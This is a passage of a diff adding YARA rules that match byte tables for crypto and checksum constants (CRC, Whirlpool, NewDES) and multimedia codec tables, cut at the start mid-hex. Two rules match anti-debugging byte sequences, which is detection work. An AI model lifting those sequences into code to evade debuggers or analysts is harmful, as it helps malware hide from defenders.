e39ed1b5a41fea76ea73b004bc02e368620c558523312a3f13f761ab6d7298d49a1921cba4613c223dcd459db42305fd075f2bc401c09b2c800f3dd95c74486c7e85f97fab1ff173de0eb6ed6bed283c781a4997918d9f2a9f33c957a8aaa907ed7da50d2d8f7c42b0c9764de8574d9163cccea996d2b4eee1b6302861b90df16726bd19ad80419b6ec7c0a0f2415183f03492db1efc6fa2ce4c8f32337313e0c66d69a76493e56d2ffabf1abfb7bb1c03b558742c4fe76eb7965d89052ae89c19a3446671fb342e29650ff2827afe8122f1b11335eca3080f7ecd51a614ff7a93f85c7297122fc2e3c3f370491c992f1568d143261bc2a332b388cc7a6f8acf069fb0e8f51e7a4779dad2bb0821e695e55c43983106d0b87baf11e365537e412b10ccaae49cd8b4a7d464563659fb7c2084724b4df6ea9faadf6a5fdfce2dc168587048f381caafd89106054b695a7728a594de104239dfc347813bcaa6fc82d2c523c86cb203f8d59a080cac40dab709e17db9342c382447a2cf5274d1dcb25b2b63a8559535d57511479eebe215e530c64b9414a84a6f9c869123cc394c6aff4a5f8a904d0406ddbbee9952ca1e11c418aaff6998eb64fcff07fe5e018b340ebe567d9bd9bae7c1324263dc7b75b544179726cb6667ae0ccb95259567ec9a2ad0578637996050d305b8e483ba65adae3519efc913a4f64aa9c15b1bd6873e595ea0f08a5b1814703baf02e076ab0450bfdd491863df4ab656c6a5530a853d1237fa8794a777b6517f4665b109ed61e6e91bec8525d5453b52f575413d7fba428827ce4e43b2ebe997d6bd9ef3527b7f456253fba02c3ad1707bbcf76bb91f171d121beec8fd797cf03a2745d70c0a607996ddf6ab22331c89acfabb5dc8ac7d30a10ba14bd4be0b94bee10a5425cd4662547e1182a2f3a33e17e666e626350275c3588b9b8338bdc2784448dc0203a08b4f92b37c2e3984e54e698f71f0883927362dfd3f9cd2246e01fb16dd89370000000057e0f68d986ce293f815744ed45a932038e7ad015db4d340c2871a176a2db310d62f50781f3cf48ea5a1a70e4c3671b325ae9ad7db245e718750161df9d5ef6286908d311a161c1281cfa6f56f075b8c1d4937d63a926e59776484c63fb886c5cdf9d746d0b0e0904f8329c740fde4960d0b0e0956206da1ea228ec9882edb4c738ef776b2bcb5155fc11018a96a322b8eb16ba45455aef989ee4060ef0866552144e967ecbd3e21be772030c7adf28be72980c0cf8c141e4348bce2fe8ac4a6c5d831d3fa60b716ba9d5380c0f2d94f3e781de92e3a2436f4dee16bd7efcb54f1f409f7aff582c3b9280bf4d9519d299238c75e5aebf884b8e890d83c0ddeb18d0433d0e203685cdae4c55d589e3bdc9d460a0fc8d33fda27db598f8cc4a8fc99ac79bf724e6c5aa2fe8ccab5e39ed176a41fea04ea73b068bc02e385620c553f23312aab13f761d46d7298cb9a192122a4613c9d3dcd45fdb42305c4075f2b2c01c09bd9800f3d6c5c74487f7e85f973ab1ff1edde0eb63c6bed2897781a492a918d9f579f33c907a8aaa90ded7da5422d8f7c4db0c97691e8574da963ccceee96d2b428e1b630f161b90d196726bd9bad8041a06ec7c083f24151dbf03492a21efc6f32ce4c8fe0337313a7c66d696d6493e51a2ffabf1cbfb7bb7403b5586e2c4fe789b7965d9c052ae86619a3442e71fb34f229650f81827afe1322f1b10835eca3510f7ecd7aa614ff7293f85cc297122f70e3c3f32f491c99431568d1a3261bc2cc32b388cf7a6f8ae8069fb047f51e7abb79dad2950821e698e55c43b83106d0e37baf114165537eaa2b10ccb4e49cd856a7d4647c3659fb4b2084729f4df6ea5faadf6ac1dfce2d48685870aff381ca05d89106774b695ade28a594df1042393bc3478182caa6fcc8d2c523f86cb2030cd59a08b7ac40dab909e17d24342c385247a2cfb274d1dca85b2b63d55595359e751147e5ebe2159430c64b6f14a84a239c86916acc394c8aff4a5f06904d0499ddbbee1152ca1effc418aa646998ebfefcff07345e018b7d0ebe56e79bd9ba63c13242b5dc7b7526441797aecb6667250ccb959a9567ec862ad05750379960e4d305b8ad83ba65efae3519f6c913a45b4aa9c13e1bd687f0595ea0148a5b1802703baf04e076ab4950bfdd4a1863dfa5b656c63d530a85871237fab694a77765517f4661b109edece6e91b458525d5753b52f5ba413d7fce428827eb4e43b2bde997d67b9ef352537f45623afba02cbcd1707b1ff76bb91b171d1279eec8fd277cf03a0a45d70cdd60799633f6ab22fa1c89acacbb5dc80b7d30a1bea14bd4e10b94becd0a54257e466254f31182a2e6a33e173566e626580275c3388b9b8344bdc2780348dc0292a08b4f39b37c2e6984e54e888f71f02d392736d2fd3f9cfb246e013716dd89000000008d57e0f693986ce24ef8157420d45a930138e7ad405db4d317c2871a106a2db378d62f508e1f3cf40ea5a1a7b34c3671d725ae9a71db245e1d87501662f9d5ef3186908d121a161cf581cfa68c6f075bd61d4937593a926ec6776484c53fb88646cdf9d790d0b0e0c74f83299640fde4090d0b0ea156206dc9ea228e4c882edb76738ef715b2bcb5185fc1102ba96a32a48eb16bf95455ae6089ee4055ef0866672144e921ecbd3e30be77208bc7adf2c0e729801ecf8c14e24348bca6fe8ac4d3c5d83116fa60b780ba9d534fc0f2d9e93e781d362e3a246bf4dee154d7efcbf7f1f409c3aff582f4b9280b29d9519d5e9238c7845aebf8d8b8e890b13c0dded08d04335ce203685ddae4c5dc589e3b0f9d460adac8d33f8f27db59fc8cc4a8bf99ac795a724e6ccaa2fe8cd1b5e39eea76a41fb004ea73 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_qdm2_fft_tone_level_table__flt64___64_big_1024_
+{
+strings:
+	$a0 = { 3fc6a09e5b1f606d3fdb504e618ce2d23fe3504f5de131b43feb504f5de131b43ff3504f405a0d3d3ffaf000000000004003000000000000400af000000000004013000000000000401af000000000004023000000000000402af000000000004033000000000000403af000000000004043000000000000404af000000000004053000000000000405af000000000004063000000000000406af000000000004073000000000000407af000000000004083000000000000408af000000000004093000000000000409af0000000000040a300000000000040aaf0000000000040b300000000000040baf0000000000040c300000000000040caf0000000000040d300000000000040daf0000000000040e300000000000040eaf0000000000040f300000000000040faf000000000004103000000000000410af000000000004113000000000000411af000000000004123000000000000412af000000000004133000000000000413af000000000004143000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003fe30000000000003feaf00002af31dc3ff30000000000003ffaf000000000004003000000000000400af000000000004013000000000000401af000000000004023000000000000402af000000000004033000000000000403af000000000004043000000000000404af000000000004053000000000000405af000000000004063000000000000406af000000000004073000000000000407af000000000004083000000000000408af000000000004093000000000000409af0000000000040a300000000000040aaf0000000000040b300000000000040baf0000000000040c300000000000040caf0000000000040d300000000000040daf0000000000040e300000000000040eaf0000000000040f300000000000040faf000000000004103000000000000410af000000000004113000000000000411af000000000004123000000000000412af000000000004133000000000000413af000000000004143000000000000414af00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_intrax8_crazy_mix_runlevel__8_byt_32_
+{
+strings:
+	$a0 = { 2232335323424363245234732562448326723554278245642892367429a24684 }
+
+condition:
+	$a0
+}
+
+	
+rule newdes_rotor__8_byt_256_
+{
+strings:
+	$a0 = { 2089efbc667ddd48d444512556ed939546e5117c73cf21147a8f19d733b78a8e92d36ead01e4bd0e674ea224fda774ff9e2db93262a8faeb368dc3f7f03f9402e0a9d6b43e16756c13aca19fa02f2babc2afb238c47017dc5915a4829d0855fbd82c5eb3e2265a7728ca22ce2345e7f61d6d4a47b0063c91410d4d970c7f5fc7396505e896d28118b50a79bb30c18bfcdb4058e960805035bf90da0b6a849b685b881f2af3427e871e1a57bab69af27b52a6d02798be71cd7269e15449a3636fcc3dc8d9aa0fc61cc0fe86eade07ecf8c929b19c5c8343f9f5b8cb09f1001b2e85ae4b125dd164784cd51053046b8c343a3703f461c5eee376314fe6dfa5993b }
+
+condition:
+	$a0
+}
+
+	
+rule libdjvu_IW44_norm_of_all_wavelets__flt32___32_lil_64_
+{
+strings:
+	$a0 = { d33f2445104a3743c04b37436d964c4271553742a75637420ead4c4186f2374134f4374143024e4038f43f406af73f40a5915f3f9c87893f9489893ff39cdb3e }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0xf01__16_lil_refl_False_
+{
+strings:
+	$a0 = { 0000010f021e0311043c05330622072d087809770a660b690c440d4b0e5a0f5510f011ff12ee13e114cc15c316d217dd188819871a961b991cb41dbb1eaa1fa521ef20e023f122fe25d324dc27cd26c2299728982b892a862dab2ca42fb52eba311f30103301320e3523342c373d3632396738683b793a763d5b3c543f453e4a43d142de41cf40c047ed46e245f344fc4ba94aa649b748b84f954e9a4d8b4c845321522e513f5030571d56125503540c5b595a56594758485f655e6a5d7b5c74623e63316020612f6602670d641c65136a466b49685869576e7a6f756c646d6b72ce73c170d071df76f277fd74ec75e37ab67bb978a879a77e8a7f857c947d9b87ad86a285b384bc8391829e818f80808fd58eda8dcb8cc48be98ae689f788f8975d96529543944c9361926e917f90709f259e2a9d3b9c349b199a1699079808a642a74da45ca553a27ea371a060a16fae3aaf35ac24ad2baa06ab09a818a917b6b2b7bdb4acb5a3b28eb381b090b19fbecabfc5bcd4bddbbaf6bbf9b8e8b9e7c47cc573c662c76dc040c14fc25ec351cc04cd0bce1acf15c838c937ca26cb29d48cd583d692d79dd0b0d1bfd2aed3a1dcf4ddfbdeeadfe5d8c8d9c7dad6dbd9e593e49ce78de682e1afe0a0e3b1e2beedebece4eff5eefae9d7e8d8ebc9eac6f563f46cf77df672f15ff050f341f24efd1bfc14ff05fe0af927f828fb39fa36 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_10_poly_0x331__16_lil_refl_True_
+{
+strings:
+	$a0 = { 0000d98d3302ea8f6604bf8955068c8bcc081585ff0a2687aa0c7381990e40839811419cab13729efe152798cd17149a54198d94671bbe96321deb90011fd8923023e9ae0321daac56278faa6525bca8fc2b25a6cf2916a49a2f43a2a92d70a0a83271bf9b3042bdce3617bbfd3424b9643abdb757388eb5023edbb3313ce8b16046b9cb53448ac90642dfcf3540eccdac4e75c39f4c46c1ca4a13c7f94820c5f85721dacb5512d89e5347dead5174dc345fedd2075dded0525b8bd66159b8d4506589e86367baea3661efec0563dcee9c6d45e0af6f76e2fa6923e4c96b10e6c87411f9fb7622fbae7077fd9d7244ff047cddf1377eeef36278bbf5517a88f7c08c1901f38e2a03a6887f05958a4c070c84d5093f86e60b6a80b30d5982800f589d81106b9fb2123e99e7140d9bd41694954d18a7977e1af2912b1cc193181ef0af2922c3ad1a2096ab4f26a5a97c243ca7e52a0fa5d6285aa3832e69a1b02c68beb1335bbc82310ebad7373db8e435a4b67d3b97b44e39c2b21b3ff1b0283da0ca794793c84a45c6ce1f43f5cc2c416cc2b54f5fc0864d0ac6d34b39c4e04938dbe1560bd9d2545edf87526dddb450f4d32d5ec7d11e5c92d74b5aa1d5785890e94964a3eb7a66f6ed2f60c5ef1c625ce1856c6fe3b66e3ae5e36809e7d06a08f8d1753bfae2776efcb7715dfe8473c4f01d7df7f22e7fa2f47b7991f6487b }
+
+condition:
+	$a0
+}
+
+	
+rule libmng_interlace_const__32_big_AND_
+{
+strings:
+	$a0 = { 00000000[0-20]00000000[0-20]00000004[0-20]00000000[0-20]00000002[0-20]00000000[0-20]00000001[0-20]00000008[0-20]00000008[0-20]00000008[0-20]00000004[0-20]00000004[0-20]00000002[0-20]00000002[0-20]00000000[0-20]00000004[0-20]00000000[0-20]00000002[0-20]00000000[0-20]00000001[0-20]00000000[0-20]00000008[0-20]00000008[0-20]00000004[0-20]00000004[0-20]00000002[0-20]00000002[0-20]00000001[0-20]00000007[0-20]00000007[0-20]00000003[0-20]00000003[0-20]00000001[0-20]00000001[0-20]00000000[0-20]00000003[0-20]00000003[0-20]00000002[0-20]00000002[0-20]00000001[0-20]00000001[0-20]00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Sober_mul99___t_class_8_mul0x63__8_byt_256_
+{
+strings:
+	$a0 = { 0063c6a5c1a20764cfac096a0e6dc8abd3b015761271d4b71c7fdab9ddbe1b78eb882d4e2a49ec8f2447e281e5862340385bfe9df99a3f5cf79431523655f0939bf85d3e5a399cff543792f195f65330482b8eed89ea4f2c87e44122462580e37013b6d5b1d27714bfdc791a7e1db8dba3c065066201a4c76c0faac9adce6b087b18bddebad97c1fb4d772117516b3d0a8cb6e0d690aafcc6704a1c2a6c5600390f35635513297f45f3c99fa9efd583b432085e682e144278cef4a294d2e8be8e08326452142e7842f4ce98aee8d284b3350f596f2913457fc9f3a593d5efb980b68cdaecaa90c6fc4a702610566c3a0d8bb1e7d197adfbc1774d1b2d6b51073 }
+
+condition:
+	$a0
+}
+
+	
+rule way__32_lil_AND_
+{
+strings:
+	$a0 = { 0b0b0000[0-20]b1b10000[0-20]aaaaaaaa[0-20]55555555[0-20]cccccccc[0-20]33333333[0-20]f0f0f0f0[0-20]0f0f0f0f[0-20]11100100 }
+
+condition:
+	$a0
+}
+
+	
+rule Macromedia_Flash_SWF_ADPCM_table__32_lil_256_
+{
+strings:
+	$a0 = { FFFFFFFF020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFF0200000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF020000000400000006000000080000000000000000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF01000000020000000400000006000000080000000A0000000D00000010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule DVB_scrambling_algorithm_permutation__8_byt_64_
+{
+strings:
+	$a0 = { 1123080629301c141b353d3112203a3f1713242601341a0021030c0d382719283222330b152f1d392c1e0718162e3c103b04372a0a05092b1f3e2d0e02250f36 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Vista_anti_debug__no_name___8_byt_29_
+{
+strings:
+	$a0 = { 64ff35000000006489250000000064a11800000005fc0b00008b1885db }
+
+condition:
+	$a0
+}
+
+	
+rule libtheora_FrequencyCounts_VP3__32_big_8188_
+{
+strings:
+	$a0 = { 00000110000000540000001f000000240000000a00000002000000010000005c00000001000002bd000003680000019a000001de00000276000001f6000001a1000001640000024600000338000003d9000003c5000002b90000025e0000007d000000770000002800000003000000090000000f0000000a0000004900000025000001370000006b00000029000000330000001200000004000000020000007800000001000003380000040d000001d40000021d000002ca0000022b000001c3000001760000025300000333000003a100000331000001da000000dc000000ac0000008e0000001b00000004000000090000000a000000020000006200000030000001610000007d00000031000000420000001800000006000000020000007c000000010000039e000004940000020000000252000002fe00000245000001ca0000017b0000024e0000031500000351000002990000013200000050000000cc0000009300000019000000050000000c00000009000000020000006c00000036000001880000008d000000390000004b0000001f00000007000000040000008a000000010000041a000005290000022f000002890000032600000252000001cc0000017400000238000002d7000002c6000001db0000009b00000013000000fb000000ae0000001b000000070000001000000008000000020000007e0000003e000001c7000000a80000004200000057000000270000000a000000060000007c0000000200000477000005af00000250000002b40000033800000254000001c5000001690000021e0000029100000250000001490000004e000000050000010d000000b80000001b000000090000001300000007000000020000007f0000004200000220000000c900000050000000660000002d0000000b000000060000006300000001000004d40000063300000262000002d0000003410000024e000001bc0000015c000001fa0000024c000001e7000000e20000002700000002000000fd000000b20000001b0000000a000000140000000700000002000000760000004100000289000000f10000006200000079000000360000000e00000008000000540000000100000545000006b70000027a000002fb0000034f00000247000001ac00000143000001c8000001ec0000015d000000780000000d00000001000000e7000000aa00000018000000080000001300000007000000010000006d000000430000033800000130000000810000009e00000042000000130000000a0000002c00000002000005c400000785000002840000031a000003460000022f0000018c000001210000018800000180000000df0000003500000003000000010000009f000000790000001100000006000000100000000600000002000000450000003500000216000000ae00000047000000440000000a000000010000000100000044000000770000068a000005f600000230000002180000021b0000014b000000e5000000a8000000e900000106000000e700000095000000470000003300000275000002120000011c0000007e000000b6000000d0000000b8000000940000005700000252000000c30000004d000000470000000900000001000000010000002f00000059000006bb00000638000002530000023a0000023e0000015f000000f1000000b0000000f30000010f000000ea00000090000000410000002500000216000001c1000000f000000075000000a70000011500000099000000600000003600000282000000d500000058000000530000000c00000001000000010000002800000050000006d70000065e0000026d00000258000002560000016f000000fa000000b7000000fb00000114000000eb0000008f0000003e0000001c000001e50000018d000000d40000006e000000a1000000c10000008d0000005400000030000002b50000010200000072000000830000001b00000003000000010000002c0000004f000007020000066c0000022600000215000002060000013a000000d50000009a000000d1000000df000000ae00000061000000280000000e00000248000001cf000000ec0000008a000000c4000000f90000008f0000005e00000036000002f60000012f00000090000000bd000000350000000800000001000000250000004500000732000006c400000201000001f8000001de0000011f000000bf00000089000000b6000000ba00000089000000480000001f000000060000024d000001d5000000c700000080000000b100000108000000a100000059000000310000033100000158000000aa000000f30000005400000012000000020000001e000000410000072c000006c500000206000001ff000001dd00000119000000b900000082000000a9000000a6000000750000003b00000019000000030000023c000001c2000000b900000079000000ad000000e800000092000000500000002b0000036100000185000000cc000001420000008b0000002a000000090000001a0000003300000738000006e6000002130000020a000001dd00000113000000b10000007a000000990000009000000061000000320000001000000001000001e50000017a000000a700000073000000a4000000cb000000800000004a0000002a000003c1000001bf000000f300000197000000c40000004a0000001a0000000c00000022000007d3000007960000023b00000235000001ee00000116000000ad000000740000008d00000081000000550000002c00000008000000010000011d000000df000000650000004200000068000000780000004a0000002300000016000000f500000044000000190000001c00000005000000010000000100000167000000040000038e000003880000023a0000023b000002fe0000026c000001de000001770000022a000002ac0000028c000001b9000000b60000001e00000217000000ce000000760000004d000000450000005a000000100000012b000000640000012e0000005600000020000000240000000800000001000000010000016a00000003000003ce000003c80000025700000257000003060000027b000001d50000016d00000210000002740000022d00000151000000760000000e00000241000000db000000880000005200000045000000410000000d0000013d000000700000015c00000066000000270000002c0000000900000002000000010000016b00000003000004260000041f0000025f000002610000031300000272000001c90000015c000001ee00000226000001c4000000e90000003c000000020000027c000000f40000009f0000005c0000004a000000440000000c000001470000007700000190000000790000002f000000330000000b00000002000000010000016e00000003000004550000044e0000026c0000026e0000031200000270000001c20000014b000001cb000001ea0000016e000000a30000001d00000001000002a100000101000000af000000620000004d0000003f0000000e0000015800000083000001d6000000970000003b000000430000000f00000003000000010000016200000004000004ae000004a50000028000000283000003010000025b0000019a00000126000001820000017d000000f00000004e0000000500000001000002ea0000011a000000cd0000007100000057000000400000000f000001700000009100000229000000bd0000004d0000005e0000001800000006000000010000015b00000004000004dc000004d00000028a0000028d000002e30000022700000168000000f90000012f00000105000000810000001800000001000000010000033c00000139000000f5000000870000006c0000004d0000001100000193000000a9000002bd000000fd0000006d0000008c0000002a0000000c000000020000015e00000006000004ba000004ad0000028c00000287000002a1000001ef0000012b000000bd000000d300000097000000320000000200000001000000010000037c000001500000011c000000a2000000860000006500000019000001c7000000cd0000039c00000186000000b4000000f8000000550000001f0000000d0000011e0000000e000004da000004b600000259000002410000020700000156000000af00000064000000550000002400000001000000010000000100000001000004070000015c0000015a000000cc000000a60000008300000022000001d9000000c5000001cb000000800000003200000030000000080000000100000001000000e00000004500000505000004cb0000024b000002350000023d0000019600000105000000b4000000e4000000d5000000820000002f0000000b000000030000042d0000021c00000135000000e700000093000001170000009d0000017f000000a50000020c0000009b0000003e000000400000000e0000000200000001000000d10000003f00000541000005080000020b000001fb0000020300000166000000e100000099000000b7000000a0000000570000001d00000007000000020000047f0000024f0000016d0000011a000000b30000013400000085000001580000009d0000024c000000b50000004b00000051000000130000000300000001000000cc00000044000005400000050800000205000001f7000001f90000015a000000d80000008d000000a90000008b000000470000001500000005000000010000047a000002480000016e0000011e000000aa0000012a00000099000001560000009d0000027a000000c40000005200000059000000160000000400000001000000c20000003c0000054c0000052000000203000001f6000001e90000014b000000c70000007f000000910000006f000000330000000e0000000300000001000004840000024d000001890000012c000000b60000011d00000090000001540000009f000002cb000000e700000062000000710000001f0000000700000001000000b5000000390000054100000517000001f2000001ea000001c000000123000000a6000000650000006a0000004b0000001e0000000900000001000000010000049700000248000001a000000141000000d10000014d000000a40000014a0000009f000003390000011b0000007d000000950000002c0000000b00000002000000a00000003b0000053f0000051c000001dc000001d500000195000000f7000000830000004b0000004c0000002f00000012000000050000000100000001000004a800000243000001b00000014c000000d900000147000000b0000001400000009a000003c100000169000000aa000000d7000000460000001400000005000000a100000037000004e2000004c2000001cf000001cc00000162000000cc0000006500000034000000300000001c0000000b000000010000000100000001000004940000023a000001c10000015e000000de0000014c000000a900000152000000ae00000473000001fa0000010a000001830000009c000000390000001a0000007200000030000004a8000004920000016e0000016e000000e2000000710000002f00000016000000160000000c00000001000000010000000100000001000004c600000227000001ce00000187000000dc000001420000009c0000012200000088000000f5000000310000000f0000000b0000000100000001000000010000014c000000260000048b0000048a000002ad000002ab0000032d0000026f000001b50000013e000001a5000001a8000001200000006d0000000e00000001000002d90000012f000000b30000007000000057000000c70000002e0000016c00000087000001310000004300000016000000110000000200000001000000010000014900000027000004e2000004dd000002c2000002c10000032100000248000001810000010b0000014a00000128000000a50000002800000003000000010000031e00000154000000ce000000830000006c00000102000000340000017e0000009a00000164000000520000001c00000017000000030000000100000001000001380000002a0000053c00000536000002bd000002bf00000302000002210000015a000000e30000010d000000df000000640000001100000001000000010000034e00000167000000de0000008e000000780000011c000000370000017b0000009d000001920000005f000000210000001e0000000400000001000000010000012c0000002b000005630000055b000002c6000002ca000002d4000001e600000121000000b6000000ca000000900000002f0000000500000001000000010000038c0000018a000000fa000000a10000008d0000015e0000003c00000187000000ab000001f30000007a0000002c0000002a0000000700000001000000010000010b0000002d0000059f0000059c000002b2000002b60000027400000181000000d50000007a000000750000003e0000000e000000010000000100000001000003e0000001b900000120000000bb000000a7000001be000000520000017a000000b000000281000000a80000003e0000003c0000000c0000000100000001000000f7000000310000059b0000059c000002960000029d0000020f0000012a0000008e000000470000003700000016000000030000000100000001000000010000040c000001d60000013f000000d0000000c1000002240000006a0000016a000000b80000035c000001120000006f00000071000000170000000400000001000000e50000003b000005330000052b0000027500000285000001a3000000c0000000480000001e000000130000000600000001000000010000000100000001000003fe000001de00000153000000e1000000d5000002b20000008e00000156000000c600000423000001b5000000da0000011d000000540000001100000002000000980000002c00000504000005210000021200000231000000d40000004200000011000000060000000300000001000000010000000100000001000000010000040a000001e50000015a000000e2000000cf00000333000000b9000000f800000091000001970000005d0000001f00000018000000020000000100000001000000e80000006c00000555000005450000024500000242000001f200000131000000aa00000064000000670000004300000018000000050000000100000001000004970000025c000001890000010c000000d1000001fa000000d90000017b000000c100000209000000810000002e00000027000000040000000100000001000000c7000000740000058b0000057b0000021f0000021c000001be000001070000008a0000004e0000004b0000002c0000000d000000020000000100000001000004b10000025d000001880000010b000000d600000215000000fc0000014e000000a70000023f00000090000000340000002e000000060000000100000001000000c10000007c0000057200000568000002100000021000000196000000e3000000700000003b000000360000001c00000007000000010000000100000001000004ba0000026d0000019c0000011c000000eb0000025c0000010900000140000000a7000002a1000000ae000000400000003b000000090000000100000001000000b1000000800000057000000569000001f3000001f300000160000000b7000000550000002a000000230000001000000003000000010000000100000001000004ba00000272000001a200000121000000f6000002a300000129000001240000009e00000324000000e1000000550000004d0000000c000000010000000100000096000000810000056b00000568000001c7000001c700000115000000810000003500000017000000110000000700000001000000010000000100000001000004bc0000027b000001b1000001320000010c000002f800000139000000f900000089000003cf000001310000007b00000075000000140000000200000001000000870000008c000005200000051e000001910000018f000000c9000000500000001c0000000b0000000800000002000000010000000100000001000000010000048a0000026f000001b70000013a0000011b0000038a00000170000000cb00000079000004b5000001c4000000d0000000e70000003200000006000000010000007b00000095000004890000048c0000017200000172000000890000002d0000000e0000000400000002000000010000000100000001000000010000000100000417000002320000019d0000012c00000115000003fc00000194000000a8000000690000051100000296000001850000023e000000c8000000270000000400000037000000780000042d000004340000011100000109000000420000000e0000000200000001000000010000000100000001000000010000000100000001000003a2000001db00000159000000f9000000ec00000464000001780000005b000000380000011600000037000000110000000c00000001000000010000000100000120000000470000052300000518000002d5000002d4000002dd000001fa00000133000000c3000000e1000000af0000004d0000000c0000000100000001000003880000019e000000f6000000aa0000007e00000122000000cd000001a7000000b90000017e000000500000001a00000015000000020000000100000001000000ef00000040000005a200000595000002c2000002bd00000298000001a4000000ef00000092000000980000006900000022000000020000000100000001000003cf000001b800000107000000b90000008c0000014c000000e50000018d000000a9000001c300000061000000200000001b000000040000000100000001000000df0000004b000005b6000005ae000002aa000002a80000023e00000157000000b30000006500000062000000360000000900000001000000010000000100000407000001e200000125000000d2000000a3000001900000012900000180000000b500000227000000800000002b00000025000000050000000100000001000000c90000004e000005d9000005cf000002820000028b000001ed0000010d00000085000000460000003c000000180000000200000001000000010000000100000429000001f800000138000000e4000000b2000001c3000001600000015f000000ae000002b5000000b30000003f00000036000000080000000100000001000000a90000004e000005de000005d9000002440000024f00000177000000ba0000004d000000230000001500000004000000010000000100000001000000010000044b0000021500000155000000fd000000ce0000021e000001b000000132000000a40000036300000107000000690000006000000010000000020000000100000098000000510000059b0000059f000002090000020d0000010e0000006b00000020000000080000000300000001000000010000000100000001000000010000043d000002190000016900000115000000df0000026800000225000001020000009c000003fe00000181000000b6000000cf0000002e00000007000000010000009e000000580000050a00000526000001f5000001f6000000b8000000260000000600000001000000010000000100000001000000010000000100000001000003ff000001e0000001590000012d000000e80000029900000295000000d200000085000004a00000022b00000133000001c9000000b90000002c000000060000007300000029000004d4000004e5000001490000015400000020000000010000000100000001000000010000000100000001000000010000000100000001000003f9000001810000013c00000172000000f6000002a0000003140000005500000017000001f60000006a00000021000000160000000100000001000000010000009700000084000005a6000005ab000001f6000001f300000157000000b5000000540000002a000000240000001000000003000000010000000100000001000004bb00000295000001ad00000138000000f20000027d000001f2000001200000009c0000028b000000930000003000000023000000030000000100000001000000910000008c0000058b0000058c000001d5000001d2000001190000008400000038000000190000001200000006000000010000000100000001000000010000049700000290000001b30000014800000104000002cb0000022c000000fc00000093000002ed000000b30000003b0000002b0000000400000001000000010000007b000000870000058f000005970000019d00000199000000dd0000005f000000240000000f0000000900000002000000010000000100000001000000010000048700000292000001bc00000154000001100000030e00000290000000cd0000007c00000386000000f30000005600000043000000070000000100000001000000720000008d0000056900000569000001830000017f000000b20000004300000016000000070000000400000001000000010000000100000001000000010000044800000278000001b200000153000001150000032d000002df000000ab0000006d000004390000015100000085000000700000000f00000001000000010000005c000000890000054600000545000001370000013500000073000000220000000800000002000000010000000100000001000000010000000100000001000003f800000253000001a2000001560000011b0000036600000373000000720000004e000004e5000001d3000000d2000000cd000000220000000300000001000000500000008200000526000005210000010200000104000000440000000c00000002000000010000000100000001000000010000000100000001000000010000036a000002040000017a0000014a000001110000036d000003e8000000480000003500000552000002720000014d000001a7000000640000000a00000001000000490000006a0000051f00000521000000f1000000e70000001f0000000300000001000000010000000100000001000000010000000100000001000000010000026c000001700000011e0000012e000000f50000032e00000467000000220000001c000004b3000002e7000001cc000003060000011c00000024000000010000000d00000019000007a4000007a9000000670000006a00000003000000010000000100000001000000010000000100000001000000010000000100000001000000f8000000830000009500000110000000a5000002170000032d00000003 }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__BCHK_BoundsChecker_interface__8_byt_13_
+{
+strings:
+	$a0 = { bd4b48434266b80400cd033c04 }
+
+condition:
+	$a0
+}
+
+	
+rule Whirlpool_C3__64_lil_2048_
+{
+strings:
+	$a0 = { c018601818d8307805238c23232646af7ec63fc6c6b891f913e887e8e8fbcd6f4c87268787cb13a1a9b8dab8b8116d620801040101090205424f214f4f0d9e6ead36d836369b6cee59a6a2a6a6ff5104ded26fd2d20cb9bdfbf5f3f5f50ef706ef79f9797996f2805f6fa16f6f30decefc917e91916d3fefaa52555252f8a40727609d606047c0fd89bccabcbc356576ac9b569b9b372bcd048e028e8e8a018c71a3b6a3a3d25b15600c300c0c6c183cff7bf17b7b84f68ab535d43535806ae1e81d741d1df53a6953e0a7e0e0b3dd47f6d77bd7d721b3ac5ec22fc2c29c99ed6d2eb82e2e435c96624b314b4b29967aa3fedffefe5de1218257415757d5ae16a815541515bd2a419f77c17777e8eeb6a537dc3737926eeb7be5b3e5e59ed7568c9f469f9f1323d9d3f0e7f0f023fd176a4a354a4a20947f9eda4fdada44a995fa587d5858a2b02506c903c9c9cf8fca5529a429297c528d500a280a0a5a1422e1b1feb1b1507f4f69a0baa0a0c95d1a7f6bb16b6b14d6da5c852e8585d917ab81bdcebdbd3c6773d25d695d5d8fba348010401010902050f3f4f7f4f407f50316cb0bcbcbdd8bc0ed3ef83e3ed37cc628051405052d0a111f6781676778cee673e4b7e4e497d55325279c2727024ebb32411941417382582c8b168b8ba70b9d51a7a6a7a7f65301cf7de97d7db2fa94dc956e95954937fb8ed847d8d856ad9f8bfbcbfbfb70eb3023ee9feeeecdc171c77ced7c7cbbf891176685666671cce3a6dd53dddd7ba78eb8175c1717af2e4b0247014747458e46849e429e9e1a21dc1eca0fcacad489c5752db42d2d585a9991bfc6bfbf2e637938071c07073f0e1b01ad8eadadac4723ea5a755a5ab0b42f6c83368383ef1bb58533cc3333b666ff3f639163635cc6f2100208020212040a39aa92aaaa934938af71d97171dee2a80ec807c8c8c68dcfc819641919d1327d72493949493b927086d943d9d95faf9ac3f2eff2f231f91d4be3abe3e3a8db48e25b715b5bb9b62a34881a8888bc0d92a49a529a9a3e29c82d269826260b4cbe8d32c83232bf64fae9b0fab0b0597d4a1be983e9e9f2cf6a780f3c0f0f771e33e6d573d5d533b7a674803a8080f41dba99bec2bebe27617c26cd13cdcdeb87debd34d034348968e47a483d4848329075abffdbffff54e324f77af57a7a8df48ff4907a9090643deac25f615f5f9dbe3e1d208020203d40a06768b